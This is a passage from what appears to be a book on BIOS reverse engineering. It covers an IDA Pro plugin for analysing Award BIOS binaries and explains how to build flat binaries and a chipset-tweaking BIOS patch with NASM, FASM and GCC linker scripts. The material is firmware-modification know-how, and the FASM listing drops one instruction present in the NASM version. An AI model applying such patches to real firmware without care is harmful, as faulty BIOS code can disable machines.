static BOOL CALLBACK plugin_dlg_proc( HWND hwnd_dlg, UINT message, 
                                     WPARAM wParam, LPARAM lParam ) 
{ 
   ea_t dest_seg, src_seg, last_seg; 
   ea_t start_addr, end_addr; // Address range to be analyzed 
   char dest_seg_name[0xFF]; 
   HWND h_btn; 
   static bool enable_entry_point; 
 
   switch (message) 
   { 
   case WM_INITDIALOG: 
      { 
         h_plugin_dlg = hwnd_dlg; 
 
         // 
         // Initialize analysis-specific feature 
         // 
 
         // Set entry point checkbox 
         SendMessage(GetDlgItem(hwnd_dlg, IDC_CHK_ENTRYPOINT), 
            BM_SETCHECK, 1, 0); 
         enable_entry_point = true; 
 
      }return TRUE; 
 
   case WM_COMMAND: 
      switch (LOWORD(wParam)) 
      { 
      case IDC_ANALYZE_BINARY: 
         { 
            static const char analyze_form[] = 
               "Binary Analysis\n" 
               "Enter the start and end address" 
               "for analysis below\n\n" 
               "<~S~tarting address :N:8:8::>\n" 
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               "<~E~nding address :N:8:8::>\n" ; 
 
            start_addr = get_screen_ea(); 
            end_addr = get_screen_ea(); 
 
            if( 1 == AskUsingForm_c(analyze_form, 
               &start_addr, &end_addr)) 
            { 
               msg("IDC_ANALYZE: start_addr = 0x%X\n", 
                  start_addr); 
               msg("IDC_ANALYZE: end_addr = 0x%X\n", 
                  end_addr); 
 
               analyze_binary(start_addr, end_addr); 
            } 
 
         }return TRUE; 
 
      case IDC_RELOCATE: 
         { 
            static const char relocate_form[] = 
               "Segment Relocation\n" 
               "Enter the source segment and " 
               "destination segment address below\n" 
               "Note: source segment will be deleted \n" 
               " and segment address will be" 
               " left-shifted 4 bits\n\n" 
               "<~S~ource segment address :N:8:8::>\n" 
               "<~D~estination segment address :N:8:8::>\n" 
               "<~D~estination segment name :A:8:8::>\n"; 
 
            src_seg = (get_screen_ea() & 0xFFFF0000 ) >> 4; 
 
            if( 1 == AskUsingForm_c(relocate_form, &src_seg, 
               &dest_seg, dest_seg_name)) 
            { 
               relocate_seg(src_seg, dest_seg, dest_seg_name); 
            } 
 
         }return TRUE; 
 
      case IDC_COPY: 
         { 
            static const char copy_form[] = 
               "Copy Segment\n" 
               "Enter the source and destination " 
               "segment address below\n" 
               "Note: - dest segment will be " 
               "overwritten if it exist!\n" 
               " and segment address will be " 
               "left-shifted 4 bits\n\n" 
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               "<~S~ource segment address :N:8:8::>\n" 
               "<~D~estination segment address :N:8:8::>\n"; 
 
            src_seg = (get_screen_ea() & 0xFFFF0000 ) >> 4; 
 
            if( 1 == AskUsingForm_c(copy_form, &src_seg, 
               &dest_seg)) 
            { 
               copy_seg(src_seg, dest_seg); 
            } 
 
         }return TRUE; 
 
      case IDC_CREATE: 
         { 
            static const char create_form[] = 
               "Segment Creation\n" 
               "Enter the new segment address " 
               "and name below\n" 
               "Note: segment starting address will be " 
               "left-shifted 4 bits\n\n" 
               "<~S~tarting address :N:8:8::>\n" 
               "<~N~ame :A:8:8::>\n"; 
 
            if( 1 == AskUsingForm_c(create_form, &dest_seg, 
               dest_seg_name)) 
            { 
               msg("IDC_CREATE: dest_seg = 0x%X\n", 
                  dest_seg); 
               init_seg(dest_seg, dest_seg_name); 
            } 
 
         }return TRUE; 
 
      case IDC_GO2_ENTRYPOINT: 
         { 
            last_seg = (inf.maxEA >> 4) - 0x1000; 
            init_seg(last_seg, "F_seg"); 
            relocate_seg(last_seg, 0xF000, "F000"); 
            jumpto( (0xF000 << 4) + 0xFFF0); 
 
            // Disable the corresponding button 
            // to prevent unwanted effects 
            h_btn = GetDlgItem(hwnd_dlg, IDC_GO2_ENTRYPOINT); 
            EnableWindow(h_btn, false); 
 
            // 
            // Next time build a BIOS loader module! 
            // 
         }return TRUE; 
 

 
 

28 



      case IDC_CHK_ENTRYPOINT: 
         { 
            if(enable_entry_point) 
            { 
               SendMessage(GetDlgItem(hwnd_dlg, 
                  IDC_CHK_ENTRYPOINT), 
                  BM_SETCHECK, 0, 0); 
 
               // Disable the corresponding button 
               // to prevent unwanted effects 
               h_btn = GetDlgItem(hwnd_dlg, IDC_GO2_ENTRYPOINT); 
               EnableWindow(h_btn, false); 
 
               // Set flag accordingly 
               enable_entry_point = false; 
            } 
            else 
            { 
               SendMessage(GetDlgItem(hwnd_dlg, 
                  IDC_CHK_ENTRYPOINT), 
                  BM_SETCHECK, 1, 0); 
 
               // Disable the corresponding button 
               // to prevent unwanted effects 
               h_btn = GetDlgItem(hwnd_dlg, IDC_GO2_ENTRYPOINT); 
               EnableWindow(h_btn, true); 
 
               // Set flag accordingly 
               enable_entry_point = true; 
            } 
         }return TRUE; 
 
      case IDC_LIST_SEG: 
         { 
            list_segments(); 
         }return TRUE; 
 
      case IDC_LIST_FUNC: 
         { 
            list_functions(); 
         }return TRUE; 
 
      }return TRUE; 
 
   case WM_CLOSE: 
      { 
         ShowWindow(hwnd_dlg, SW_HIDE); 
      }return TRUE; 
   } 
 
   return FALSE; 
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} 
 
// ----------------------------------------------------------------- 
// 
// Initialize. 
// 
// IDA will call this function only once. 
// If this function returns PLGUIN_SKIP, IDA will never load it again. 
// If this function returns PLUGIN_OK, IDA will unload the plugin but 
// remember that the plugin agreed to work with the database. 
// The plugin will be loaded again if the user invokes it by 
// pressing the hotkey or selecting it from the menu. 
// After the second load, the plugin will stay in the memory. 
// If this function returns PLUGIN_KEEP, 
// IDA will keep the plugin in the memory. 
// In this case the initialization function can hook 
// into the processor module and user interface notification points. 
// See the hook_to_notification_point() function. 
// 
// In this example I checked the input file format and made a decision. 
// You may or may not check any other conditions to decide what you do: 
// whether you agree to work with the database or not. 
// 
int idaapi init(void) 
{ 
 
   /* 
   // Place processor checks here, e.g., Pentium 4 and Pentium 3, 
   // so that you will be able to generate 
   // the right processor-specific comments. 
 
   if ( strncmp(inf.procName, "metapc", 8) != 0 ) 
   { 
   return PLUGIN_SKIP; 
   } 
   */ 
 
   hMainWindow = (HWND)callui(ui_get_hwnd).vptr; 
 
   hModule = GetModuleHandle("award_bios_analyzer.p64"); 
 
   return PLUGIN_KEEP; 
} 
 
// --------------------------------------------------------------------- 
// 
// Terminate. 
// 
// Usually this callback is empty. 
// 
// IDA will call this function when the user asks to exit. 
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// This function won't be called in the case of emergency exits. 
 
void idaapi term(void) 
{ 
   DestroyWindow(h_plugin_dlg); 
   h_plugin_dlg = NULL; 
 
   msg("bios analyzer plugin terminated...\n"); 
} 
 
// --------------------------------------------------------------------- 
// 
// The plugin method 
// 
// This is the main function of plugin. 
// It will be called when the user selects the plugin. 
// 
// arg - the input argument, it can be specified in 
// the plugins.cfg file. The default is zero. 
// 
// 
 
void idaapi run(int arg) 
{ 
   msg("Award bios binary analyzer plugin activated...\n"); 
 
   if(NULL == h_plugin_dlg) 
   { 
      h_plugin_dlg = CreateDialog( hModule, MAKEINTRESOURCE(IDD_MAIN), 
         hMainWindow, plugin_dlg_proc); 
   } 
 
   if(h_plugin_dlg) 
   { 
      ShowWindow(h_plugin_dlg, SW_SHOW); 
   } 
 
} 
 
// --------------------------------------------------------------------- 
char comment[] = "This is an Award Bios binary analyzer plugin"; 
 
char help[] = "Bios Analyzer plug-in\n\n" 
"This module parses Award Bios binary file\n"; 
 
// --------------------------------------------------------------------- 
// This is the preferred name of the plugin module in the menu system. 
// The preferred name may be overriden in the plugins.cfg file. 
char wanted_name[] = "All New Bios Analyzer plugin"; 
 
// This is the preferred hotkey for the plugin module. 
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// The preferred hotkey may be overriden in the plugins.cfg file. 
// Note: IDA won't tell you if the hotkey is not correct. 
// It will just disable the hotkey. 
char wanted_hotkey[] = "Alt-U"; 
 
// --------------------------------------------------------------------- 
// 
// PLUGIN DESCRIPTION BLOCK 
// 
// --------------------------------------------------------------------- 
plugin_t PLUGIN = 
{ 
   IDP_INTERFACE_VERSION, 
      0,            // plugin flags 
      init,         // Initialize 
 
      term,         // Terminate; this pointer may be NULL 
 
      run,          // Invoke plugin 
 
      comment,      // Long comment about the plugin; 
                    // it could appear in the status line 
                    // or as a hint 
 
      help,         // Multiline help about the plugin 
 
      wanted_name,  // The preferred short name of the plugin 
      wanted_hotkey // The preferred hotkey to run the plugin 
}; 
 
 The plugin that's created from listing 2.7 is shown in figure 2.23. 
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Figure 2.23 BIOS Binary Analyzer Plugin in action 

 
 Now, dissect listing 2.7. But first, note that the dialog box resource is added to the 
plugin project just like in other Win32 projects. The plugin starts its life with a call to the 
init function. This function is called when the plugin is first loaded into the IDA Pro 
workspace. In listing 2.7, this function initializes static variables used to store the main 
window handle and the module (plugin) handle as shown at the following lines: 
 
int idaapi init(void) 
{ 
   // Some lines omitted... 
 
   // Get the IDA Pro main window handle 
   hMainWindow = (HWND)callui(ui_get_hwnd).vptr; 
 
   // Get the plugin handle 
   hModule = GetModuleHandle("award_bios_analyzer.p64"); 
 
   return PLUGIN_KEEP; 
} 
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 Those variables are used within the run function to initialize the dialog box user 
interface with a call to CreateDialog as shown at the following lines: 
 
void idaapi run(int arg) 
{ 
   // Some lines omitted... 
 
   if(NULL == h_plugin_dlg) 
   { 
      h_plugin_dlg = CreateDialog( hModule, MAKEINTRESOURCE(IDD_MAIN), 
         hMainWindow, plugin_dlg_proc); 
   } 
 
   if(h_plugin_dlg) 
   { 
      ShowWindow(h_plugin_dlg, SW_SHOW); 
   } 
 
} 
 
 The CreateDialog function is a Win32 API function used to create a modeless 
dialog box. A modeless dialog box is created to lump various tasks in one user interface. 
Note that the dialog box is created only once during the disassembling session in the run 
function. It will be hidden or shown based on user request. The run function is called every 
time the user activates the plugin. The task to show the plugin dialog box is accomplished 
by run, whereas the task to hide it is accomplished by the window procedure for the plugin 
dialog box, i.e., the plugin_dlg_proc function. The message handler for the plugin dialog 
box's WM_CLOSE message is responsible for hiding the dialog. This message handler is 
inside the dialog box window's procedure plugin_dlg_proc at the following lines: 
 
   case WM_CLOSE: 
      { 
         ShowWindow(hwnd_dlg, SW_HIDE); 
      }return TRUE; 
 
 The resources used by this plugin are cleaned up by the term function. This 
function is called upon the plugin termination or unloading process. It destroys the window 
and sets the corresponding dialog box handle to NULL as shown at the following lines: 
void idaapi term(void) 
{ 
   DestroyWindow(h_plugin_dlg); 
   h_plugin_dlg = NULL; 
 
   // Irrelevant line(s) omitted 
} 
 
 The bulk of the work accomplished by the plugin's user interface is in the 
plugin_dlg_proc function. The entry point to this function is passed as one of the 
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parameters for the CreateDialog function during the creation of the plugin user interface. 
This function digests the window's messages received by the plugin. The switch statement 
processes the window's messages that enter plugin_dlg_proc, and appropriate action is 
taken. One of the "handlers" in this big switch statement provides a semiautomatic analysis 
for the Award BIOS binary. I delve into the engine of this analyzer in a later chapter. 
 The plugin's user interface contains a button for analysis purposes; it's marked by 
the Analyze caption. Take a look at the mechanism behind this button. Listing 2.7 showed 
that the window procedure for the dialog box is named plugin_dlg_proc. Within this 
function is the big switch statement that tests the type of window messages. In the event 
that the window message is a WM_COMMAND, i.e., button press, message, the low_word 
(lower 16 bits) wparam parameter of the window procedure will contain the resource_id 
of the corresponding button. This parameter is used to identify Analyze button press as 
shown in the following lines: 
 
   case WM_COMMAND: 
      switch (LOWORD(wParam)) 
      { 
      case IDC_ANALYZE_BINARY: 
         { 
            static const char analyze_form[] = 
               "Binary Analysis\n" 
               "Enter the start and end address" 
               "for analysis below\n\n" 
               "<~S~tarting address :N:8:8::>\n" 
               "<~E~nding address :N:8:8::>\n" ; 
 
            start_addr = get_screen_ea(); 
            end_addr = get_screen_ea(); 
 
            if( 1 == AskUsingForm_c(analyze_form, 
               &start_addr, &end_addr)) 
            { 
               msg("IDC_ANALYZE: start_addr = 0x%X\n", 
                  start_addr); 
               msg("IDC_ANALYZE: end_addr = 0x%X\n", 
                  end_addr); 
 
               analyze_binary(start_addr, end_addr); 
            } 
 
         }return TRUE; 
 
 When the button is pressed, a new dialog box is shown. This dialog box is created 
in an unusual manner by calling an IDA Pro exported function named AskUsingForm_c. 
You can find the definition of this function in the kernwin.hpp file in the IDA Pro SDK 
include directory. The dialog box asks the user to input the start and the end addresses of 
the area in the binary file in IDA Pro to be analyzed as shown in figure 2.24. 
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Julie Laing
Correct as edited? Or should all references to windows or window be to (Microsoft) Windows?

darmawan_salihun
The word window in this context doesn’t refer to Microsoft Windows. It refers to window that is displayed on the screen. It is correct as edited.



 
Figure 2.24 Binary Analyzer Plugin: binary analysis feature 

 
 When the user presses the OK button, the starting address and ending address 
parameters will be used as input parameters to call the analyze_binary function. The 
analyze_binary function analyzes the BIOS binary disassembled in the currently opened 
IDA Pro database. Understanding the guts of this function requires in-depth knowledge of 
BIOS reverse engineering, particularly Award BIOS. Thus, I dissect it in later chapters, 
after you are equipped with enough BIOS reverse engineering know-how. 
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Chapter 3 BIOS-Related Software 
Development Preliminary 
 
 
PREVIEW 
 
 This chapter explains the prerequisite knowledge you need in the development of 
BIOS-related software, particularly BIOS patch and PCI expansion ROMs. The first section 
explains how to build a flat binary file from assembly language code. Later sections focus 
on how to use the GNU Compiler Collection (GCC) facility to build a flat binary file. GCC 
linker script and its role in the development of flat binary files are explained. 
 
 
3.1. BIOS-Related Software Development with Pure Assembler 
 
 Every system programmer realizes that BIOS is "bare metal" software. It interfaces 
directly with the machine, with no layer between the BIOS and the silicon. Thus, any code 
that will be inserted into the BIOS, such as a new patch or a custom-built patch, must be 
provided in flat binary form. Flat binary means there's no executable file format, headers, 
etc., only bare machine codes and self-contained data. Nevertheless, there's an exception to 
this rule: expansion ROM has a predefined header format that must be adhered to. This 
section shows how to generate a flat binary file from an assembly language file by using the 
netwide assembler (NASM) and flat assembler (FASM). 
 Start with NASM. NASM is a free assembler and available for download at 
http://nasm.sourceforge.net. NASM is available for both Windows and Linux. It's quite 
powerful and more than enough for now. Listing 3.1 shows a sample source code in NASM 
of a patch I injected into my BIOS. 
 

Listing 3.1 Sample BIOS Patch in NASM Syntax 

; --------------- BEGIN TWEAK.ASM -------------------------------- 
BITS 16 ; To make sure NASM adds the 66 prefix to 32-bit instructions 
 
  section   .text 
start: 
 pushf 
 push eax 
 push dx 
 mov eax,ioq_reg  ; Patch the ioq register of the chipset 
 mov dx,in_port 
 out dx,eax 
 mov dx,out_port 
 in  eax,dx 
 or  eax,ioq_mask 
 out dx,eax 
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 mov eax,dram_reg ; Patch the DRAM controller of the chipset, 
 mov dx,in_port   ; i.e., the interleaving part 
 out dx,eax 
 mov dx,out_port 
 in  eax,dx 
 or  eax,dram_mask 
 out dx,eax 
 
 mov eax,bank_reg    ; Allow pages of different banks to be 
                     ; active simultaneously 
 mov dx,in_port 
 out dx,eax 
 mov dx,out_port 
 in  eax,dx 
 or  eax,bank_mask 
 out dx,eax 
 
 mov eax,tlb_reg  ; Activate Fast TLB lookup 
 mov dx,in_port 
 out dx,eax 
 mov dx,out_port 
 in  eax,dx 
 or  eax,tlb_mask 
 out dx,eax 
 pop dx 
 pop eax 
 
 popf 
 clc  ; Indicate that this POST routine is successful 
 retn ; Return near to the header of the ROM file 
 
section .data 
 in_port   equ 0cf8h 
 out_port  equ 0cfch 
 dram_mask equ 00020202h 
 dram_reg  equ 80000064h 
 ioq_mask  equ 00000080h 
 ioq_reg   equ 80000050h 
 bank_mask equ 20000840h 
 bank_reg  equ 80000068h 
 tlb_mask  equ 00000008h 
 tlb_reg   equ 8000006ch 
; --------------- END TWEAK.ASM ------------------------------- 
 
 The code is assembled using NASM with the invocation syntax (in a windows 
console, i.e., cmd or dosprmpt): 
 
 nasm -fbin tweak.asm -o tweak.bin 
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 The resulting binary file is tweak.bin. The following is the hex dump of this 
binary in Hex Workshop version 3.02. 
 

Hex Dump 3.1 NASM Flat Binary Output Sample 

Address       Hexadecimal Values                 ASCII Values 
00000000 9C66 5052 66B8 5000 0080 BAF8 0C66 EFBA .fPRf.P......f.. 
00000010 FC0C 66ED 660D 8000 0000 66EF 66B8 6400 ..f.f.....f.f.d. 
00000020 0080 BAF8 0C66 EFBA FC0C 66ED 660D 0202 .....f....f.f... 
00000030 0200 66EF 66B8 6800 0080 BAF8 0C66 EFBA ..f.f.h......f.. 
00000040 FC0C 66ED 660D 4008 0020 66EF 66B8 6C00 ..f.f.@.. f.f.l. 
00000050 0080 BAF8 0C66 EFBA FC0C 66ED 660D 0800 .....f....f.f... 
00000060 0000 66EF 5A66 589D F8C3                ..f.ZfX... 
 
 If you want to analyze the output of the assembler, use ndisasm (netwide 
disassembler) or another disassembler to ensure that the code emitted by the NASM is 
exactly as desired. 
 You have been using NASM for BIOS patch development. Now proceed to a 
relatively easier assembler, FASM. FASM lends itself to BIOS patch development because 
it generates a flat binary file as its default output format. FASM is freeware and available 
for download at http://flatassembler.net/download.php. This section focuses on FASMW, 
the FASM version for windows. Start by porting the previous patch into FASM syntax and 
assemble it with FASM. The source code is shown in listing 3.2. 
 

Listing 3.2 Sample BIOS Patch in FASM Syntax 

; --------------- BEGIN TWEAK.ASM -------------------------------- 
USE16 ; 16-bit real-mode code 
 
        in_port   = 0cf8h 
        out_port  = 0cfch 
        dram_mask = 00020202h 
        dram_reg  = 80000064h 
        ioq_mask  = 00000080h 
        ioq_reg   = 80000050h 
        bank_mask = 20000840h 
        bank_reg  = 80000068h 
        tlb_mask  = 00000008h 
        tlb_reg   = 8000006ch 
 
start: 
        pushf 
        push eax 
        push dx 
        mov eax,ioq_reg ; Patch the ioq register of the chipset 
        mov dx,in_port 
        out dx,eax 
        mov dx,out_port 
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        in  eax,dx 
        or  eax,ioq_mask 
 
        mov eax,dram_reg ; Patch the DRAM controller of the chipset, 
        mov dx,in_port   ; i.e., the interleaving part 
        out dx,eax 
        mov dx,out_port 
        in  eax,dx 
        or  eax,dram_mask 
        out dx,eax 
 
        mov eax,bank_reg  ; Allow pages of different banks to be 
                          ; active simultaneously 
        mov dx,in_port 
        out dx,eax 
        mov dx,out_port 
        in  eax,dx 
        or  eax,bank_mask 
        out dx,eax 
 
        mov eax,tlb_reg  ; Activate Fast TLB lookup 
        mov dx,in_port 
        out dx,eax 
        mov dx,out_port 
        in  eax,dx 
        or  eax,tlb_mask 
        out dx,eax 
        pop dx 
        pop eax 
        popf 
 
        clc  ; Indicate 
        retn ; Return near to the header of the ROM file 
 
 To assemble the preceding listing, copy listing 3.2 to the FASMW code editor and 
then press Ctrl+F9 to do the compilation. There is less hassle than with NASM. The code 
editor is shown in figure 3.1. 
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Figure 3.1 FASMW code editor 

 
 FASM will place the assembly result in the same directory as the assembly source 
code. FASM will give the result a name similar to the source file name but with a *.com 
extension, not *.asm as the source code file did. The dump of the binary result is not shown 
here because it's just the same as the one assembled with NASM previously. Note that 
Fasm version 1.67 will emit a binary file with a *.bin extension for the source code in 
listing 3.2. 
 Even though using FASM or NASM is a matter of taste, I recommend FASM 
because it's a little easier to use than NASM. Furthermore, FASM was built with operating 
system development usage in mind. BIOS-related development would benefit greatly 
because both types of software development are dealing directly with "bare metal." 
However, note that this recommendation is valid only if you intend to use assembly 
language throughout the software development process, i.e., without mixing it with another 
programming language. The next section addresses this issue in more detail. 
 
 
3.2. BIOS-Related Software Development with GCC 
 
 In the previous section, you developed a BIOS patch using only assembly 
language. For a simple BIOS patch, that's enough. However, for complicated system-level 
software development, you need to use a higher level of abstraction, i.e., a higher-level 
programming language. That means the involvement of a compiler is inevitable. This 
scenario sometimes occurs in the development of a BIOS plugin1 or in the development of 

                                                 
 
1 A BIOS plugin is system-level software that's integrated into the BIOS as a component to add 
functionality to the BIOS. For example, you can add CD-playing capability to the BIOS for diskless 
machines. 
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an application-specific PCI expansion ROM binary.2 I address this issue by looking into an 
alternative solution, the GNU Compiler Collection, a.k.a. GCC. 
 GCC is a versatile compiler. GCC has some interesting features for BIOS-related 
development: 
 

1. GCC supports mixed language development through inline assembly constructs 
inside C/C++ functions. 

2. GCC comes with GNU Assembler (GAS). GAS output can be combined 
seamlessly with GCC C/C++ compiler output through the GNU LD linker. GAS 
supports AT&T assembler syntax and recently began to support Intel assembler 
syntax, too. 

3. GCC features so-called linker script support. Linker script is a script that gives 
detailed control of the overall linking process. 

Start with a review of the compilation steps in a C compiler to understand these features. 
These steps are implemented not only in GCC but also in other C compilers. 
 

 
Figure 3.2 C compiler compilation steps 

 
 Figure 3.2 shows that the linker plays an important role, i.e., it links the object and 
the library files from various sources into an executable file3 or pure machine code. In this 
                                                 
 
2 PCI expansion ROM binary is the software inside the ROM chip in a PCI expansion card. It's 
primarily used for initialization of the card during boot. However, it may contain other features. 
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book, I am only concerned with pure machine code output because you are dealing with the 
hardware directly without going through any software layer. 
 Linker script can control every aspect of the linking process, such as the relocation 
of the compilation result, the executable file format, and the executable entry point. Linker 
script is a powerful tool when combined with various GNU binutils.4 Figure 3.2 also shows 
that it's possible to do separate compilation, i.e., compile some assembly language source 
code and then combine the object file result with the C language compilation object file 
result by using LD linker. 
 There are two routes to building a pure machine code or executable binary if you 
are using GCC: 
 

1. Source code compilation  Object file  LD linker  Executable binary 
2. Source code compilation  Object file  LD linker  Object file  Objcopy  

Executable binary 
 
 This section deals with the second route. I explain the linker script that's used to 
build the experimental PCI expansion ROM in part 3 of this book. It's a simple linker script. 
Thus, it's good for learning purposes. 
 Start with the basic structure of a linker script file. The most common linker script 
layout is shown in figure 3.3. 
 

 
Figure 3.3 Linker script file layout 

 
 Linker script is just an ordinary plain text file. However, it conforms to certain 
syntax dictated by LD linker and mostly uses the layout shown in figure 3.3. Consider the 
makefile and the linker script used in chapter 7 as an example. You have to review the 
makefile with the linker script because they are tightly coupled. 

                                                                                                                            
 
3 The format of an executable file is operating system dependent. 
4 GNU binutils is an abbreviation for GNU binary utilities, the applications that come with GCC for 
binary manipulation purposes. 
6 Execution environment is the processor operating mode. For example, in a 32-bit x86-compatible 
processor, there are two major operating modes, i.e., 16-bit real mode and 32-bit protected mode. 
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Listing 3.3 Sample Makefile 

# ------------------------------------------------------------------ 
# Copyright © Darmawan Mappatutu Salihun 
# File name : Makefile 
# This file is released to the public for non-commercial use only 
# ------------------------------------------------------------------ 
 
CC= gcc 
CFLAGS= -c 
LD= ld 
LDFLAGS= -T pci_rom.ld 
 
ASM= as 
 
OBJCOPY= objcopy 
OBJCOPY_FLAGS= -v -O binary 
 
OBJS:= crt0.o main.o 
ROM_OBJ= rom.elf 
ROM_BIN= rom.bin 
ROM_SIZE= 65536 
 
all: $(OBJS) 
       $(LD) $(LDFLAGS) -o $(ROM_OBJ) $(OBJS) 
       $(OBJCOPY) $(OBJCOPY_FLAGS) $(ROM_OBJ) $(ROM_BIN) 
 
       build_rom $(ROM_BIN) $(ROM_SIZE) 
 
crt0.o: crt0.S 
       $(ASM) -o $@  $< 
 
%.o: %.c 
       $(CC) -o $@  $(CFLAGS) $< 
 
clean: 
       rm -rf *~ *.o *.elf *.bin 
 
 Listing 3.3 shows that there are two source files; the first one is an assembler 
source code that's assembled by GAS, and the second is a C source code that's assembled 
by the GNU C/C++ compiler. The object files from the compilation of both source codes 
are linked by the linker to form a single object file. This process is accomplished with the 
help of the linker script: 
 
       $(LD) $(LDFLAGS) -o $(ROM_OBJ) $(OBJS) 
 
 LDFLAGS is previously defined to parse the linker script file: 
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LDFLAGS= -T pci_rom.ld 
 
 The name of the linker script is pci_rom.ld. The content of this script is shown 
in listing 3.4. 

Listing 3.4 Sample Linker Script 

/* ============================================================== */ 
/* Copyright (C) Darmawan Mappatutu Salihun                       */ 
/* File name : pci_rom.ld                                         */ 
/* This file is released to the public for noncommercial use only */ 
/* ============================================================== */ 
 
OUTPUT_FORMAT("elf32-i386") 
OUTPUT_ARCH(i386) 
ENTRY(_start) 
__boot_vect = 0x0000; 
 
SECTIONS 
{ 
    .text __boot_vect : 
    { 
      *( .text) 
    } = 0x00 
 
    .rodata ALIGN(4) : 
    { 
      *( .rodata) 
    } = 0x00 
 
    .data ALIGN(4) : 
    { 
      *( .data) 
    } = 0x00 
 
    .bss ALIGN(4) : 
    { 
      *( .bss) 
    } = 0x00 
 
} 
 
 Now, return to figure 3.3 to understand the contents of listing 3.4. First, let me 
clarify that a comment in a linker script starts with /* and ends with */ just as in C 
programming language. Thus, the first effective line in listing 3.4 is the line that declares 
the output format for the linked files: 
 
OUTPUT_FORMAT("elf32-i386") 
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 The preceding line informs the linker that you want the output format of the 
linking process to be an object file in the elf32-i386 format, i.e., object file with executable 
and linkable format (ELF) for the 32-bit x86 processor family. The next line informs the 
linker about the exact target machine architecture: 
 
OUTPUT_ARCH(i386) 
 
 The preceding line informs the linker that the linked object file will be running on 
a 32-bit x86-compatible processor. The next line informs the linker about the symbol that 
represents the entry point of the linked object file: 
 
ENTRY(_start) 
 
 This symbol actually is a label that marks the first instruction in the executable 
binary produced by the linker. In the preceding linker script statement, the label that marks 
the entry point is _start. In the current example, this label is placed in an assembler file 
that sets up the execution environment.6 A file like this usually named crt07 and found in 
most operating system source code. The relevant code snippet from the corresponding 
assembler file is shown in listing 3.5. 
 

Listing 3.5 Assembler Entry Point Code Snippet 

# ----------------------------------------------------------------------- 
# Copyright (C)  Darmawan Mappatutu Salihun 
# File name : crt0.S 
# This file is released to the public for non-commercial use only 
# ----------------------------------------------------------------------- 
 
.text 
.code16 # Default real mode (add 66 or 67 prefix to 32-bit instructions) 
 
# Irrelevant code omitted... 
 
# ----------------------------------------------------------------------- 
# Entry point/BEV implementation (invoked during bootstrap / int 19h) 
# 
  .global _start # entry point 
 
_start: 
  movw $0x9000, %ax # setup temporary stack 
  movw %ax, %ss     # ss = 0x9000 
 
# Irrelevant code omitted... 

                                                 
 
7 Crt0 is the common name for the assembler source code that sets up an execution environment for 
compiler-generated code. It is usually generated by C/C++ compiler. Crt stands for C runtime. 
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 Listing 3.5 is an assembly source code in AT&T syntax for x86 architecture. It 
clearly shows the existence of the _start label. The label is declared as a global label: 
 
  .global _start # entry point 
 
 It must be declared as global label to make it visible to the linker during the 
linking process. It's also possible to place the entry point in C/C++ source code. However, 
placing the entry point in C/C++ source code has a compiler-specific issue. Some compilers 
add an underscore prefix to the label8 in the source code, and some compilers omit the 
prefix. Thus, I won't delve into it. You can dig up more information about this issue in the 
corresponding compiler. 
 
 Proceed to the next line in listing 3.4: 
 
__boot_vect = 0x0000; 
 
 This line is a constant definition. It defines the starting address for the text section. 
The next lines are sections definition. Before I delve into it, I'll explain a bit about these 
sections. 
 From the compiler's point of view, the generated codes are divided into several 
parts called sections. Every section plays a different role. A section that solely contains 
executable codes is called a text section. A section that only contains uninitialized data is 
called a data section. A section that only contains constants is called a read-only data 
section. A section that only contains stack data during runtime is called a base stack 
segment section. Some other types of sections are operating system dependent, so they are 
not explained here. The sections are placed logically adjacent to one another in the 
processor address space. However, it depends a lot on the current execution environment. 
Figure 3.4 shows the typical address mapping of the previously mentioned sections for a 
flat binary file. 
 

                                                 
 
8 A label in C/C++ source code is the function name that's globally visible—throughout the source 
code. 
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Figure 3.4 sections layout sample 

 
 Now, return to the sections definition in listing 3.4: 
 
SECTIONS 
{ 
    .text __boot_vect : 
    { 
      *( .text) 
    } = 0x00 
 
    .rodata ALIGN(4) : 
    { 
      *( .rodata) 
    } = 0x00 
 
    .data ALIGN(4) : 
    { 
      *( .data) 
    } = 0x00 
 
    .bss ALIGN(4) : 
    { 
      *( .bss) 
    } = 0x00 
 
} 
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 The preceding sections definition matches the layout shown in figure 3.4 because 
the output of the makefile in listing 3.3 is a flat binary file. The SECTION keyword starts the 
section definition. The .text keyword starts the text section definition, the .rodata 
keyword starts the read-only data section definition, the .data keyword starts the data 
section definition, and the .bss keyword starts the base stack segment section. The ALIGN 
keyword is used to align the starting address of the corresponding section definition to 
some predefined multiple of bytes. In the preceding section definition, the sections are 
aligned to a 4-byte boundary except for the text section.  
 The name of the sections can vary depending on the programmer's will. However, 
the naming convention presented here is encouraged for clarity. 
 Return to the linker script invocation again in listing 3.3: 
 
       $(LD) $(LDFLAGS) -o $(ROM_OBJ) $(OBJS) 
 
 In the preceding linker invocation, the output from the linker is another object file 
represented by the ROM_OBJ constant. How are you going to obtain the flat binary file? The 
next line and previously defined flags in the makefile clarify this: 
 
OBJCOPY= objcopy 
OBJCOPY_FLAGS= -v -O binary 
# irrelevant lines omitted... 
       $(OBJCOPY) $(OBJCOPY_FLAGS) $(ROM_OBJ) $(ROM_BIN) 
 
 In these makefile statements, a certain member of GNU binutils called objcopy is 
producing the flat binary file from the object file. The -O binary in the OBJCOPY_FLAGS 
informs the objcopy utility that it should emit the flat binary file from the object file 
previously linked by the linker. However, it must be noted that objcopy merely copies the 
relevant content of the object file into the flat binary file; it doesn't alter the layout of the 
sections in the linked object file. The next line in the makefile is as follows: 
 
       build_rom $(ROM_BIN) $(ROM_SIZE) 
 
 This invokes a custom utility to patch the flat binary file into a valid PCI 
expansion ROM binary. 
 Now you have mastered the basics of using the linker script to generate a flat 
binary file from C source code and assembly source code. Venture into the next chapters. 
Further information will be presented in the PCI expansion ROM section of this book. 
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Part II Motherboard BIOS Reverse 
Engineering 
 
 

Chapter 4 Getting Acquainted With the 
System 
 
 
PREVIEW 
 
 This chapter explains the big picture of the BIOS code execution mechanism. The 
BIOS does not execute code in the same way as most application software. The hardware 
and software intricacies, as well as the compatibility issues, inherited from the first-
generation x86 processor complicate the mechanism. These intricacies and the x86 
hardware architecture overall are explained thoroughly in this chapter. Note that the focus 
is on the motherboard, CPU, and system logic.1
 
 
4.1. Hardware Peculiarities 
 
 When it comes to the BIOS, PC hardware has many peculiarities. This section 
dissects those peculiarities and looks at the effect of those peculiarities on BIOS code 
execution. 
 
 
4.1.1. System Address Mapping and BIOS Chip Addressing 
 
 The overall view of PC hardware architecture today is complex, especially for 
people who didn't grow up with DOS. What does modern-day hardware have to do with 
DOS? DOS has a strong bond with the BIOS and the rest of the hardware. This difficult 
relationship has been inherited for decades in the PC hardware architecture to maintain 
compatibility. DOS has many assumptions about the BIOS and the rest of the hardware that 
